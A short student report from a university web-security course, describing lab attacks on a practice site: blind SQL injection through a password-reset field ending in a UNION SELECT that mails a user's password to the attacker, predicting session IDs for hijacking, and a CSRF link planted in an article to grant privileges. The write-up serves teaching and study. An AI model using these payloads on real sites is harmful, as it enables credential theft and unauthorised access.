LINGI2347 report

Xavier Crochet

February 24, 2013

1 BLIND sql injection

- check whether they use the

  ```
  mysql_real_escape_string by entering blabla'
  ```

  in the username field of the forget password field Lucky me, it raised an error, meaning that they don't use the previous method, that would simply result by telling my that the user name wasn't found. We are in the

  ```
  WHERE field=
  ```

  part of the query

- If we input blabla or 'x'='x we get "An email has succesfuly been send to your email"

So the query looks something like

```
SELECT email, password from tablename where fieldname='\$USER'
```

We have to find tablename and fieldname

- `' GROUP BY username ;--`
  there is a field called username
- `' GROUP BY user.username ;--`
  there is a table name called user

Now we have to forge the response in order to recieve bill's password in our email box.

- First, we have to find the password field name

  ```
  'GROUP BY password ;--
  ```

- Then, enter the following input :

  ```
  ' union  select 'xavier.crochet@student.uclouvain.be', password from user where userna
  ```

2 Advanced session hijacking

Using webscarab, we found that the weakadvsessionid looks as follow : "XXYYYYYYYYYYYYYZZ" where

- XX a random number generated for the user when he logs in
- YYYYYYYYYYYYYY a string of random numbers and lowercase chars, common to all the session, regenerated every minutes
- ZZ a number incremented each time a user logs in

My strategy :

1. Guess ZZ by fetching several connection request with webscarab while checking the evolution of the XX part generated. When a gap appear, we know that another user has just connected himself on the website
2. Then we have about 1 minute to find the right XX before Y(...) change.The easy way is to use a small python script with the urllib2

3 Cross-Site request Foregy

The admin have to execute the following request

```
http://matta.info.ucl.ac.be/csrf/grantupdate/bob
```

in order to grand update access to bob..
So, we just create a new article on bob's website containing the following code :

```
!http://matta.info.ucl.ac.be/csrf/grantupdate/bob(COUCOU)!
```

The admin will just naively visit bob's webpage and execute the script wihtout knowing it

4 Conclusion

This assignment give us a quick look up of the possible basic web attack. Never trust user input, and use long enough generated key are the basic blablabla